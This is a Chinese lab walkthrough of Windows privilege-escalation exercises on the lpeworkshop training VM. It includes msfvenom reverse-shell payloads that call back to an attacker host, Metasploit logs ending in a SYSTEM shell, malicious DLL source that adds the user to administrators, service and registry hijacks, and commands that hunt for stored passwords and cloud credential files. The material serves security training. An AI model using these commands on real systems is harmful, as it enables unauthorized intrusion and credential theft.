lpeworkshop 提权实验 - windows#
实验环境项目地址: https://github.com/sagishahar-zz/lpeworkshop
windows 实验的前提,需要先自己准备一个 Windows 7 (SP1) x64 Build 7601 的英文操作系统,原作者所有的实验都基于此操作系统。
1、安装完成后启动。
2、建一个拥有管理员权限的账号并登录。(在操作系统安装时,建立的用户就具有管理员权限)
3、删除操作系统上的 user 用户。
4、将安装脚本(lpe_windows_setup.bat)放到可写位置,这一步主要是配置漏洞环境。
5、右键单击安装脚本(lpe_windows_setup.bat)并以管理员身份运行。
6、重新启动虚拟机。
7、将工具拷贝至虚拟机(此时以 user 用户身份登录,user/password321),解压。Windows 练习工具(7z 存档密码:lpeworkshop)
8、现在,所有设置都完成了,可以开始实验了。
#基本命令
systeminfo
hostname
#我是谁?
whoami
echo %username%
#在这台服务器上有哪些用户/用户组
net user
net localgroup
#查看某个用户拥有的权限
net user user
#网络
ipconfig /all
route print
arp -A
练习 1:内核漏洞提权#
1、打开 powershell,输入下面的命令,找到工具包中的 sherlock 脚本,通过 import-module 导入模块。
powershell -nop -ep bypass
导入成功后,运行 Find-AllVulns。
看到一个 TrackPopupMenu Win32k Null Pointer Dereference 漏洞,是 MS14-058 漏洞,详情如下:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
直接找到 MS14-058 的 exp 进行利用。
运行 CVE-2014-4113-Exploit 里面的 Win64.exe 文件。
也可以通过 msfconsole 的内置模块进行提权,前提是需要获取到一个 meterpreter session 模块。
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show targets
...targets...
msf exploit(ms14_058_track_popup_menu) > set TARGET <target-id>
msf exploit(ms14_058_track_popup_menu) > show options
...show and set options...
msf exploit(ms14_058_track_popup_menu) > exploit
kali msfvenom 生成反弹 shell 的 payload。
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.199.232 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
并启动 msfconsole 进行监听。
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.199.232
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit -j
生成完成后,拷贝至 win7 虚拟机,运行。
开始进行提权。
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set target 1
target => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
session => 2
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lhost 192.168.199.232
lhost => 192.168.199.232
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lport 4455
lport => 4455
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.199.232:4455
[*] Launching notepad to host the exploit...
[+] Process 1768 launched.
[*] Reflectively injecting the exploit DLL into 1768...
[*] Injecting exploit into 1768...
[*] Exploit injected. Injecting payload into 1768...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (192.168.199.232:4455 -> 192.168.199.108:49194) at 2021-08-03 02:14:26 -0400
C:\Windows\system32>whoami
whoami
nt authority\system
实验结束。
练习 2:Services (binPath)#
首先看下当前用户所属的用户组。
AccessChk 的功能主要是获取用户对某个资源(包括文件,目录,注册表项,全局对象和 Windows 服务)的权限。
通过上图我们注意到当前的 user 用户拥有 SERVICE_CHANGE_CONFIG 的权限,表示当前用户拥有修改配置的权限。通过下面的命令可以查看当前用户拥有的权限。
accesschk64.exe /accepteula -uwcqv user *
既然当前用户拥有修改配置的权限,那么就需要用到 sc 命令,sc 命令是一个管理 windows 服务的命令。
接下来就需要利用 sc 命令去配置一个 exe 作为服务启动。
sc config daclsvc binpath= "net localgroup administrators user /add"
sc start daclsvc
练习 3:Services (DLL Hijacking)#
dll 劫持是一种利用 windows 应用程序搜索和家在动态链接库(DLL)的方式将恶意代码注入应用程序的方法。
通过替换正常的 dll 文件,优先提高恶意 dll 文件的搜索顺序,加载恶意的 dll 文件,类似于 linux 下的环境变量,不同的加载顺序加载的内容不一样。
C:\Program Files\DLL Hijack Service\dllhijackservice.exe
此时的 user 用户不属于管理员组。
打开 process monitor 进程监视工具。
搜索是否运行了 C:\Program Files\DLL Hijack Service\dllhijackservice.exe 文件,通过下面的图片可以看到并未运行。
在 process monitor 中按 ctrl+h 快捷键,打开高亮过滤器,选择 result,输入 NAME NOT FOUND,进行查询。
此时如果双击运行 dllhijackservice.exe 文件,就会有一些高亮的参数,也就是 NAME NOT FOUND 的参数,其中有一些关于 dll 参数的内容。
下面我们找到工具箱中的 windows_dll.c 文件。
将 windows_dll.c 文件复制到 kali 中进行编译,windows_dll.c 内容如下:
$ cat windows_dll.c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
修改为:
$ cat windows_dll.c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
通过下述命令进行编译:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
开始编译报错如下,说明缺少模块,直接安装即可:
解决报错:
sudo apt-get install gcc-mingw-w64-x86-64
将生成的 dll 文件拷贝至 c:/tmp 目录下,并查看环境变量,可以发现 c:/tmp 目录。
将 dll 文件命名为 hijackme.dll,为什么要命名成 hijackme.dll 呢?这是因为 dllhijackservice.exe 程序在运行后,会加载 hijackmd.dll 文件,dll 的加载顺序如下:
打开 cmd 窗口,输入如下命令:
sc stop dllsvc
sc start dllsvc
此时,当前用户 user 已在管理员组中。
练习 4:Services (Unquoted Path)#
sc qc unquotedsvc
accesschk64.exe "C:\Program Files\Unquoted Path Service\"
net user user
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
sc start unquotedsvc
练习 5:Services (Registry)#
NT Authority\SYSTEM 又称 LocalSystem 帐户是内置的 Windows 帐户。 它是 Windows 本地实例上功能最强大的帐户(比任何管理员帐户都更强大)。 大多数系统级别(Windows Services)服务和其他一些第三方服务都在帐户中运行
NT Authority \ SYSTEM 是 Builtin\Administrator 是系统管理员之一
NT AUTHORITY\INTERACTIVE:交互式用户是当前登录到运行 COM 服务器的计算机的用户。 如果将身份设置为交互式用户,并且服务器将其类工厂注册为多用途,则所有客户端都将使用服务器的同一实例。
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
生成恶意的伪造 payload,找到工具箱中的 source 目录下 windows_service.c 文件,拷贝至 kali 进行编译。
修改 windows_service.c 的 system 中的命令,如下:
开始进行编译
x86_64-w64-mingw32-gcc windows_service.c -o regi.exe
将生成的 regi.exe 文件拷贝至虚拟机 c:\Temp 目录下,添加注册表信息。
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regi.exe /f
用 sc.exe 开启服务。
sc.exe start regsvc
练习 6:Services (Executable File)#
漏洞利用:
sc create lol binPath= "c:\executable.exe"
sc start lol
实际案例:
C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Accesschk>accesschk64.exe -wvu "c:\Pro
gram Files\File Permissions Service"
sc qc filepermsvc
漏洞利用,拷贝练习 4 中编译的 exe 文件,复制到 c:\Pro
gram Files\File Permissions Service 目录下。
cp /y C:\Temp\regi.exe 'C:\Program Files\File Permissions Service\filepermservice.exe'
开启服务
sc.exe start filepermsvc
练习 7:Registry (Autorun)#
通过 autoruns 工具寻找开启启动项。
启动项目录下的文件具有任意读写的权限。
>accesschk64.exe "c:\Program Files\Autorun Program\program.exe"
>accesschk64.exe -wvu "c:\Program Files\Autorun Program\program.exe"
切换到 kali 攻击机器。
生成 payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
将 payload 拷贝至虚拟机的自启动目录下。
注销虚拟机。
logoff
当下次管理员登录的时候,自启动程序就会运行,msfconsole 即可监听到会话。
练习 8:Registry (AlwaysInstallElevated)#
发现漏洞
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated 是一项功能,可为 Windows 计算机上的所有用户(特别是低特权用户)提供运行任何具有提升特权的 MSI 文件的功能。 MSI 是基于 Microsoft 的安装程序软件包文件格式,用于安装,存储和删除程序。
通过 msf 的模块进行提权,首先先获取一个普通的 meterpreter。
提权。
练习 9:Password Mining (Memory)#
创建内存 dump 文件
strings iexplore2.DMP | grep "Authorization: Basic"
echo "xxxx==" | base64 -d
练习 10:Password Mining (Registry)#
有很多配置信息会直接写在注册表中,通过注册表查找敏感信息。
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKCU\Software\TightVNC\Server /v password
reg query HKCU\Software\TightVNC\Server /v passwordViewOnly
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42" /v ProxyPassword
vnc
C:\>"c:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\vncpwd\vncpwd.exe" EC84DB8BE7861E
4D
练习 11:Password Mining (Configuration Files)#
#在txt、xml、ini文件中查找password
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#在配置文件中寻找下面的字符串
dir /s *pass* == *cred* == *vnc* == *.config*
# 在所有文件中寻找含有password字段的文件
findstr /spin "password" *.*
findstr /spin "password" *.*
dir /b /a /s c:\ > c:\temp\c-dirs.txt
type c:\temp\c-dirs.txt | findstr /i passw(vnc,ssh...)
进入到相应的目录,输入上述命令。
findstr /si password *.xml > c:\Temp\1.txt
macfee 杀毒软件的密码,是一串字符,这串字符可以使用工具去解密。
以下文件中也存在相关敏感信息:
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
# 搜索这些文件
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
# 其他一些敏感文件
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
练习 12:Hot Potato#
查看 user 用户信息,不再管理员组.
powershell -ep bypass -nop
Import-Module .\Tater.ps1
PS C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Tater> Invoke-Tater -Trigger 1 -Com
mand "net localgroup administrators user /add"
练习 13:Scheduled Tasks (Missing Binary)#
任务计划
kali 生成 payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
拷贝至 c:\Missing Scheduled Binary\ 目录下。
练习 14:Startup Applications#
Startup 目录是 windows 开启自启动文件夹,只要将恶意文件放到这个目录,操作系统启动时会自动启动 Startup 的程序。
查看 user 用户的权限
icacls "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.133 -f exe -o x.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
退出 windows 重新登录,msf 就可以获取到会话。
logoff
这一系列实验都是关于在 windows 下面的提权实验,通过这些实验,可以理解在 windows 下怎样去提升权限并获取一些敏感信息,如帐号密码等,windows 的提权很多都是利用操作系统层面的漏洞提权,平常用 CS 的插件提权比较多